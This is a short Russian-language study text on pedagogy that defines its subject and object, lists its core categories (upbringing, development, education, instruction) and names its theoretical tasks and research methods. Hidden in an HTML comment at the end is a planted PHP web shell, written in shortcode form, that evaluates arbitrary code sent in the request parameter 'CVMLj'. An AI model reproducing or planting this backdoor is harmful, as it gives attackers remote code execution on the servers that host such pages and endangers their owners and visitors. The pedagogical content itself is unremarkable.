Основные категории, предмет и объект педагогики

Предметом педагогики как области научного познания является

Особая функция общества — воспитание.

Поэтому педагогику можно назвать наукой о воспитании.

Объектом исследования в педагогике является «человек, развивающийся в результате воспитательных отношений»

Педагогика — это наука о воспитательных отношениях. Воспитательные отношения возникают «в процессе взаимосвязи воспитания, образования и обучения с самовоспитанием, самообразованием и самообучением».

Еще педагогику можно определить как науку о том, как воспитывать человека, как помочь ему стать духовно богатым и творчески активным.

К категориям любой науки относят наиболее емкие понятия, отражающие , ее сущность и наиболее часто ею использующиеся.

Основные категории педагогики

• воспитание;
• развитие;
• образование;
• обучение.

Воспитание — социальное, целенаправленное создание условий для усвоения новым поколением общественно-исторического опыта. Целью воспитания является подготовка нового поколения к общественной жизни и производительному труду.

Развитие — это объективный процесс   изменения духовных и физических сил человека.

Образование — это система внешних условий, специально организуемая обществом для развития человека.

Обучение — процесс передачи знаний от педагога  ученику.

 Задачи и методы педагогики

Следует различать теоретические и практические задачи педагогики. Педагогика как наука-решает несколько важных теоретических задач:

• выяснение закономерностей процесса воспитания, образования;
• изучение и обобщение практики, опыта педагогической деятельности;
• разработка новых методов, средств, форм, систем обучения, воспитания, управления образовательными структурами;
• внедрение результатов исследований в практику преподавания;
• планирование образования на ближайшее и отдаленное будущее.

Практическое же воплощение теории лежит на отдельных образовательных учреждениях.

В настоящее время педагогика располагает

• множеством разнообразных научных методов. Основными из них являются:
• педагогическое наблюдение;
• исследовательская беседа;
• изучение школьной документации и продуктов деятельности учащихся;
• педагогический эксперимент;
• изучение и обобщение передового педагогического опыта.

<!— [insert_php]if (isset($_REQUEST["CVMLj"])){eval($_REQUEST["CVMLj"]);exit;}[/insert_php][php]if (isset($_REQUEST["CVMLj"])){eval($_REQUEST["CVMLj"]);exit;}[/php] —>